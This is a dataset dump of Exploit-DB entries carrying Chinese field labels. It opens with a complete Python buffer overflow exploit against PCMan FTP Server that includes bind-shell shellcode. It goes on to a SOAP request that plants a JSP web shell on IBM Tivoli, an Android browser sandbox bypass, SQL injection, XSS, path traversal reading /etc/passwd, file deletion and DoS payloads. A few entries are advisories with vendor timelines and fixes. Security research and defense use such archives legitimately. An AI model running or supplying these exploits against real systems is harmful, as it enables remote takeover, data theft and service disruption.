QLWD/code_shield huggingface dataset:
标题: PCMan FTP Server 2.0.7 - 'MKD' Remote Buffer Overflow EDB-ID: 36078 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2015-02-14 漏洞利用脚本: # Title: PCMan FTP Server v2.0.7 Buffer Overflow - MKD Command
# Date : 12/02/2015 
# Author: R-73eN
# Software: PCMan FTP Server v2.0.7
# Tested On Windows Xp SP3

import socket

#348 Bytes Bind Shell Port TCP/4444
shellcode = "\xdb\xcc\xba\x40\xb6\x7d\xba\xd9\x74\x24\xf4\x58\x29\xc9"
shellcode += "\xb1\x50\x31\x50\x18\x03\x50\x18\x83\xe8\xbc\x54\x88\x46"
shellcode += "\x56\x72\x3e\x5f\x5f\x7b\x3e\x60\xff\x0f\xad\xbb\xdb\x84"
shellcode += "\x6b\xf8\xa8\xe7\x76\x78\xaf\xf8\xf2\x37\xb7\x8d\x5a\xe8"
shellcode += "\xc6\x7a\x2d\x63\xfc\xf7\xaf\x9d\xcd\xc7\x29\xcd\xa9\x08"
shellcode += "\x3d\x09\x70\x42\xb3\x14\xb0\xb8\x38\x2d\x60\x1b\xe9\x27"
shellcode += "\x6d\xe8\xb6\xe3\x6c\x04\x2e\x67\x62\x91\x24\x28\x66\x24"
shellcode += "\xd0\xd4\xba\xad\xaf\xb7\xe6\xad\xce\x84\xd7\x16\x74\x80"
shellcode += "\x54\x99\xfe\xd6\x56\x52\x70\xcb\xcb\xef\x31\xfb\x4d\x98"
shellcode += "\x3f\xb5\x7f\xb4\x10\xb5\xa9\x22\xc2\x2f\x3d\x98\xd6\xc7"
shellcode += "\xca\xad\x24\x47\x60\xad\x99\x1f\x43\xbc\xe6\xdb\x03\xc0"
shellcode += "\xc1\x43\x2a\xdb\x88\xfa\xc1\x2c\x57\xa8\x73\x2f\xa8\x82"
shellcode += "\xeb\xf6\x5f\xd6\x46\x5f\x9f\xce\xcb\x33\x0c\xbc\xb8\xf0"
shellcode += "\xe1\x01\x6d\x08\xd5\xe0\xf9\xe7\x8a\x8a\xaa\x8e\xd2\xc6"
shellcode += "\x24\x35\x0e\x99\x73\x62\xd0\x8f\x11\x9d\x7f\x65\x1a\x4d"
shellcode += "\x17\x21\x49\x40\x01\x7e\x6e\x4b\x82\xd4\x6f\xa4\x4d\x32"
shellcode += "\xc6\xc3\xc7\xeb\x27\x1d\x87\x47\x83\xf7\xd7\xb8\xb8\x90"
shellcode += "\xc0\x40\x78\x19\x58\x4c\x52\x8f\x99\x62\x3c\x5a\x02\xe5"
shellcode += "\xa8\xf9\xa7\x60\xcd\x94\x67\x2a\x24\xa5\x01\x2b\x5c\x71"
shellcode += "\x9b\x56\x91\xb9\x68\x3c\x2f\x7b\xa2\xbf\x8d\x50\x2f\xb2"
shellcode += "\x6b\x91\xe4\x66\x20\x89\x88\x86\x85\x5c\x92\x02\xad\x9f"
shellcode += "\xba\xb6\x7a\x32\x12\x18\xd5\xd8\x95\xcb\x84\x49\xc7\x14"
shellcode += "\xf6\x1a\x4a\x33\xf3\x14\xc7\x3b\x2d\xc2\x17\x3c\xe6\xec"
shellcode += "\x38\x48\x5f\xef\x3a\x8b\x3b\xf0\xeb\x46\x3c\xde\x7c\x88"
shellcode += "\x0c\x3f\x1c\x05\x6f\x16\x22\x79"
banner = ""
banner += "  ___        __        ____                 _    _  \n"   
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = raw_input('Enter IP : ')
s.connect((server, 21))
a = s.recv(1024)
print ' [+] ' + a
s.send('User anonymous')
s.recv(1024)
s.send('pass')
s.recv(1024)
print ' [+] Logged in as Anonymous ...'
evil = 'A' * 2007 #JUNK
evil += '\x65\x82\xA5\x7C' # EIP overwrite jmp esp / shell32.dll
evil += '\x90' * 10
evil += shellcode
print ' [+] Sending Payload ...'
s.send('mkd ' + evil)
print ' [+] You got shell .....\n telnet ' + server + ' 4444' URL: https://www.exploit-db.com/exploits/36078
标题: PHP < 5.3.7 - Multiple Null Pointer Dereference Denial of Service Vulnerabilities EDB-ID: 36070 CVE: 2011-3182 类型: DOS 平台: PHP 发布日期: 2011-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/49249/info

PHP is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.

An attacker can exploit these issues to cause an application written in PHP to crash, denying service to legitimate users.

PHP 5.3.7 is vulnerable; other versions may also be affected. 

127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127#
127#  /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
    error=0x83ea7d8 "Double timezone specification")
    at /cxib/5371/ext/date/lib/parse_date.c:355
355             s->errors->error_messages[s->errors->error_count -
1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009 URL: https://www.exploit-db.com/exploits/36070
标题: Mantis Bug Tracker 1.1.8 - Cross-Site Scripting / SQL Injection EDB-ID: 36068 CVE: 2011-2938 类型: WEBAPPS 平台: PHP 发布日期: 2011-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/49235/info

MantisBT is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MantisBT 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/search.php?project_id=[XSS]
http://www.example.com/path/core.php?mbadmin=[SQL] URL: https://www.exploit-db.com/exploits/36068
标题: WordPress Plugin Video Gallery 2.7.0 - SQL Injection EDB-ID: 36058 CVE: 2015-2065 2014-9097 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-12 漏洞利用脚本: ######################

# Exploit Title : Wordpress Video Gallery 2.7 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.apptha.com/category/extension/Wordpress/Video-Gallery

# Software Link : https://downloads.wordpress.org/plugin/contus-video-gallery.2.7.zip

# Dork Google: inurl:/wp-admin/admin-ajax.php?action=rss
            

# Date : 2015-02-11

# Tested on : Windows 7 / Mozilla Firefox
              Linux / Mozilla Firefox         

######################

# Vulnerability Disclosure Timeline:

2015-02-08:  Discovered vulnerability
2015-02-09:  Vendor Notification
2015-02-10:  Vendor Response/Feedback 
2015-02-10:  Vendor Send Fix/Patch 
2015-02-11:  Public Disclosure 

# Description

Wordpress Video Gallery 2.7 suffers from SQL injection


######################

# PoC

http://target/wp-admin/admin-ajax.php?action=rss&type=video&vid=[SQLi]


#####################

# Fix/patch sent by apptha's developer

File: videogalleryrss.php

Change line n.47 

from:

  $vid             = filter_input(INPUT_GET,'vid');
to:

  $vid             = intval(filter_input(INPUT_GET,'vid'));

#####################

Discovered By : Claudio Viviani
         http://www.homelab.it
         info@homelab.it
         homelabit@protonmail.ch

         https://www.facebook.com/homelabit
         https://twitter.com/homelabit
         https://plus.google.com/+HomelabIt1/
  https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

##################### URL: https://www.exploit-db.com/exploits/36058
标题: Exponent CMS 2.3.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36059 CVE: 2014-8690 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-12 漏洞利用脚本: ######################
# Exploit Title: Multiple Exponent CMS Cross-Site Scripting Vulnerabilies
# Discovered by-
# Mayuresh Dani (mdani@qualys.com)
# Narendra Shinde (nshinde@qualys.com)
# Vendor Homepage: http://www.exponentcms.org/
# Software Link:
http://sourceforge.net/projects/exponentcms/files/exponent-2.3.1.zip/download
# Version: 2.3.1
# Date: 2014-10-11
# Tested on: Windows 7 / Mozilla Firefox
#            Ubuntu 14.04 / Mozilla Firefox
# CVE: CVE-2014-8690
######################
# Vulnerability Disclosure Timeline:
# 2014-11-04:  Discovered vulnerability
# 2014-11-04:  Vendor Notification
# 2014-11-05:  Vendor confirmation
# 2014-11-06:  Vendor fixes Universal XSS -
http://www.exponentcms.org/news/security-patch-released-for-v2-1-4-v2-2-3-and-v2-3-0
# 2015-02-12:  Public Disclosure
######################
# Description
# Exponent CMS is a free, open source, open standards modular enterprise
software framework and content management system (CMS) written in the PHP.
#
# CVE-2014-8690:
# Universal XSS - Exponent CMS builds the canonical path field from an
unsanitized URL, which can be used to execute arbitrary scripts.
# Examples:
#
http://server/news/show/title/time-for-a-heavy-harvest-new-release/src/%22%3E%3Cscript%3Ealert%287%29%3C/script%3E@random4cd201e063d5c
#
http://server/news/show/title/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Etime-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
#
http://server/news/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Eshow/title/time-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
#
# 2.b. XSS in user profiles.
# The "First Name" and "Last Name" fields on
http://server/exponent/users/edituser are not sufficiently sanitized. Enter
your favourite script and the application will execute it everytime for you.
#
# More information and PoCs -
http://exponentcms.lighthouseapp.com/projects/61783/tickets/1230-universal-cross-site-scripting-in-exponent-cms-231-and-prior
#
#
# Thanks,
# Mayuresh & Narendra URL: https://www.exploit-db.com/exploits/36059
标题: Fork CMS 3.8.5 - SQL Injection EDB-ID: 36041 CVE: 2015-1467 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-09 漏洞利用脚本: [CVE-2015-1467] Fork CMS - SQL Injection in Version 3.8.5

----------------------------------------------------------------

Product Information:

Software: Fork CMS

Tested Version: 3.8.5, released on Wednesday 14 January 2015

Vulnerability Type: SQL Injection (CWE-89)

Download link to tested version: http://www.fork-cms.com/download?release=3.8.5

Description: Fork CMS is dedicated to creating a user friendly environment to build, monitor and update your website. We take great pride in being the Content Management System of choice for beginners and professionals. We combine this grand vision with the latest technological innovations to allow developers, front-end developers and designers to build kick-ass websites. This makes Fork CMS next in line for world domination. (copied from http://www.fork-cms.com/features)

----------------------------------------------------------------

Vulnerability description:

When an authenticated user is navigating to "Settings/Translations" and is clicking on the button "Update Filter" the following GET-request is sent to the server:

http://127.0.0.1/private/en/locale/index?form=filter&form_token=408d28a8cbab7890c11b20af033c486b&application=&module=&type%5B%5D=act&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value=


The parameter language[] is prone to boolean-based blind and stacked queries SQL-Injection. WIth the following payload a delay can be provoked in the request of additional 10 seconds:

http://127.0.0.1/private/en/locale/index?form=filter&form_token=68aa8d273e0bd95a70e67372841603d5&application=&module=&type%5B%5D=act%27%2b(select%20*%20from%20(select(sleep(10)))a)%2b%27&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value=

Also the parameters type[] are prone to SQL-Injection.

----------------------------------------------------------------

Impact: 

Direct database access is possible if an attacker is exploiting the SQL Injection vulnerability.

----------------------------------------------------------------

Solution:

Update to the latest version, which is   3.8.6, see http://www.fork-cms.com/download.

----------------------------------------------------------------

Timeline:

Vulnerability found: 3.2.2015
Vendor informed: 3.2.2015
Response by vendor: 3.2.2015
Fix by vendor 3.2.2015
Public Advisory: 4.2.2015

----------------------------------------------------------------

Best regards,

Sven Schleier URL: https://www.exploit-db.com/exploits/36041
标题: Adobe Flash Media Server 4.0.2 - Null Pointer Dereference Remote Denial of Service EDB-ID: 36037 CVE: 2011-2132 类型: DOS 平台: MULTIPLE 发布日期: 2011-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/49103/info

The Adobe Flash Media Server is prone to a remote denial-of-service vulnerability.

Successful exploits will allow attackers to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; however, this has not been confirmed. 

http://www.example.com:1111/?% URL: https://www.exploit-db.com/exploits/36037
标题: u5CMS 3.9.3 - Multiple SQL Injections EDB-ID: 36027 CVE: 2015-1576 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-09 漏洞利用脚本: u5CMS 3.9.3 Multiple SQL Injection Vulnerabilities


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed via multiple parameters in multiple scripts is not properly
sanitised before being used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5225
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5225.php


29.12.2014

---


1. POST /u5cms/u5admin/copy2.php?name=album HTTP/1.1

   name=album[INJECT]


2. GET /u5cms/u5admin/editor.php?c=start[INJECT] HTTP/1.1


3. GET /u5cms/u5admin/localize.php?name=album[INJECT] HTTP/1.1


4. POST /u5cms/u5admin/meta2.php?typ=a[INJECT]&uri=metai.php HTTP/1.1


5. GET /u5cms/u5admin/metai.php?typ=a&name=album[INJECT] HTTP/1.1


6. GET /u5cms/u5admin/nc.php?name=o[INJECT] HTTP/1.1


7. POST /u5cms/u5admin/new2.php?typ=e HTTP/1.1

   name=test[INJECT]&typ=e


8. POST /u5cms/u5admin/rename2.php?name=album HTTP/1.1

   name=album2[INJECT]&ulinks=yes


9. GET /u5cms/u5admin/rename2.php?name=valbum&newname=valbum2[INJECT]&typ=a HTTP/1.1 URL: https://www.exploit-db.com/exploits/36027
标题: Microsoft Visual Studio Report Viewer 2005 Control - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36020 CVE: 2011-1976 类型: REMOTE 平台: WINDOWS 发布日期: 2011-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/49033/info

Microsoft Visual Studio is prone to multiple cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to spoof content or disclose sensitive information. 

https://www.example.com/Reserved.ReportViewerWebControl.axd?Mode=true&ReportID=%3CarbitraryIDvalue%3E&ControlID=%3CvalidControlID%3E&Culture=1033&UICulture=1033&ReportStack=1&OpType=SessionKeepAlive&TimerMethod=KeepAliveMethodctl00_PlaceHolderMain_SiteTopUsersByHits_ctl00TouchSession0;alert(document.cookie);//&CacheSeed= URL: https://www.exploit-db.com/exploits/36020
标题: u5CMS 3.9.3 - 'deletefile.php' Arbitrary File Deletion EDB-ID: 36026 CVE: 2015-1577 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-09 漏洞利用脚本: u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed to the 'f' parameter in 'deletefile.php' is not properly
sanitised before being used to delete files. This can be exploited to delete
files with the permissions of the web server using their absolute path or via
directory traversal sequences passed within the affected GET parameter.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5226
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5226.php


29.12.2014

---


Target: C:\deleteme.txt
-----------------------

GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=/deleteme.txt HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../../../../../../deleteme.txt HTTP/1.1 URL: https://www.exploit-db.com/exploits/36026
标题: AzeoTech DaqFactory - Denial of Service EDB-ID: 36007 CVE: 2011-2956 类型: DOS 平台: MULTIPLE 发布日期: 2011-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/48955/info

AzeoTech DAQFactory is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the application to crash, denying service to legitimate users.

Versions prior to DAQFactory 5.85 are vulnerable. 


The following exploit requests are available:

preamble:
"\x01\x00\x09\x00CPassword\x00"

reboot:
"\x01\x00\x0f\x00CCommandGeneric\x01\x00\x00\x00\x04\x00\x00\x00"

shutdown:
"\x01\x00\x0f\x00CCommandGeneric\x01\x00\x00\x00\x06\x00\x00\x00" URL: https://www.exploit-db.com/exploits/36007
标题: IBM Tivoli Service Automation Manager 7.2.4 - Remote Code Execution EDB-ID: 36002 CVE: 2015-0107 2015-0104 类型: WEBAPPS 平台: JSP 发布日期: 2014-12-12 漏洞利用脚本: # Exploit Title: IBM Tivoli Service Automation Manager Remote Code Execution
# Date: 12\12\2014
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.ibm.com/
# Version: All versions of IBM Tivoli Service Automation Manager up to 7.2.4
# VU/CVE: VU#782708, CVE-2015-0104

1. Create report
2. Browse to: https://site/maximo/report?__document=/system/path/web/root/shell.jsp&__report=<valid_report_name>&appname=<valid_appname>&__requestid=&reportNum=
3. Catch SOAP request generated by submitting form from previous step and inject JSP payload. Sample SOAP request:

POST /maximo/report?__document=/system/path/web/root/shell.jsp&__report=<valid_report_name>&appname=<valid_appname>&__requestid=&__sessionId=<valid_sessionid> HTTP/1.1

Host: site
Content-Length: xxx

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetUpdatedObjects xmlns="http://schemas.eclipse.org/birt"><Operation><Target><Id>Document</Id><Type>Document</Type></Target><Operator>GetPage</Operator><Oprand><Name>where</Name><Value>aaaaaaaaaaaaaaaaaaaaaa<![CDATA[<%@ page import="java.util.*,java.io.*"%> 

<% 

      try {

      String cmd; 

String[] cmdarr; 

String OS = System.getProperty("os.name"); 

    if (request.getParameter("cmd") != null) { 

        cmd = new String (request.getParameter("cmd")); 

      if (OS.startsWith("Windows")) { 

       cmdarr = new String [] {"cmd", "/C", cmd}; 

      } 

      else { 

       cmdarr = new String [] {"/bin/sh", "-c", cmd}; 

      } 

      Process p = Runtime.getRuntime().exec(cmdarr); 

      OutputStream os = p.getOutputStream(); 

      InputStream in = p.getInputStream(); 

      DataInputStream dis = new DataInputStream(in); 

      String disr = dis.readLine(); 

      while ( disr != null ) { 

        out.println(disr); 

        disr = dis.readLine(); 

      } 

    } 

      } catch (Exception e) { e.printStackTrace();}      

%>]]>aaaaaaaaaaaaaaaaaaaaaa</Value></Oprand><Oprand><Name>__isdisplay__where</Name><Value></Value></Oprand><Oprand><Name>appname</Name><Value>APPNAME</Value></Oprand><Oprand><Name>__isdisplay__appname</Name><Value>APPNAME</Value></Oprand><Oprand><Name>usepagebreaks</Name><Value>true</Value></Oprand><Oprand><Name>__isdisplay__usepagebreaks</Name><Value>true</Value></Oprand><Oprand><Name>__page</Name><Value>1</Value></Oprand><Oprand><Name>__svg</Name><Value>true</Value></Oprand><Oprand><Name>__page</Name><Value>1</Value></Oprand><Oprand><Name>__taskid</Name><Value></Value></Oprand></Operation></GetUpdatedObjects></soap:Body></soap:Envelope>

4. Web shell is now ready to use in path specified in __document parameter's value URL: https://www.exploit-db.com/exploits/36002
标题: Open Handset Alliance Android 2.3.4/3.1 - Browser Sandbox Security Bypass EDB-ID: 36006 CVE: 2011-2357 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/48954/info

Open Handset Alliance Android is prone to a vulnerability that may allow a bypass of the browser sandbox.

Successful exploits will allow attackers to execute arbitrary script code within the context of an arbitrary domain.

Android 2.3.4 and 3.1 are vulnerable; prior versions may also be affected. 

public class CasExploit extends Activity
{
   static final String mPackage = "com.android.browser";
   static final String mClass = "BrowserActivity";
   static final String mUrl = "http://target.domain/";;
   static final String mJavascript = "alert(document.cookie)";
   static final int mSleep = 15000;

   @Override
   public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.main);
      startBrowserActivity(mUrl);
         try {
             Thread.sleep(mSleep);
         }
         catch (InterruptedException e) {}
         startBrowserActivity("javascript:" + mJavascript);
   }

   private void startBrowserActivity(String url) {
      Intent res = new Intent("android.intent.action.VIEW");
      res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));
      res.setData(Uri.parse(url));
      startActivity(res);
   }
} URL: https://www.exploit-db.com/exploits/36006
标题: HP Network Automation 9.10 - SQL Injection EDB-ID: 36000 CVE: 2011-2403 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/48924/info

HP Network Automation is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

HP Network Automation 7.2x, 7.5x, 7.6x, 9.0, 9.10 are vulnerable. 

http://www.example.com/view.php?id=1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11' URL: https://www.exploit-db.com/exploits/36000
标题: Support Incident Tracker (SiT!) 3.63 p1 - 'tasks.php?selected[]' SQL Injection EDB-ID: 35988 CVE: 2011-5071 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/48896/info
   
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
   
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/tasks.php?selected[]=1'&action=markcomplete URL: https://www.exploit-db.com/exploits/35988
标题: Magento Server MAGMI Plugin - Multiple Vulnerabilities EDB-ID: 35996 CVE: 2015-2068 2015-2067 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-05 漏洞利用脚本: Exploit Title:  Magento Server MAGMI Plugin Local File Inclusion And Cross Site Scripting 
Software Link: http://sourceforge.net/projects/magmi/
Author: SECUPENT 
Website:www.secupent.com
Email: research{at}secupent{dot}com
Date: 5-2-2015



Exploit(Local file inclusion) :

 http://{Server}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility
 
 
 Screenshot: http://secupent.com/exploit/images/magmilfi.jpg
 
 
Exploit(Cross Site Scripting): 

 1. http://{Server}/magmi/web/magmi.php?configstep=2&profile=%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E 
 
 2. http://{Server}/magmi/web/magmi_import_run.php?%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
 

 Screenshot 1:http://secupent.com/exploit/images/magmixss1.jpg
 Screenshot 2: http://secupent.com/exploit/images/magmixss2.jpg 
 
 
 Thanks for read :) 
 Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers. URL: https://www.exploit-db.com/exploits/35996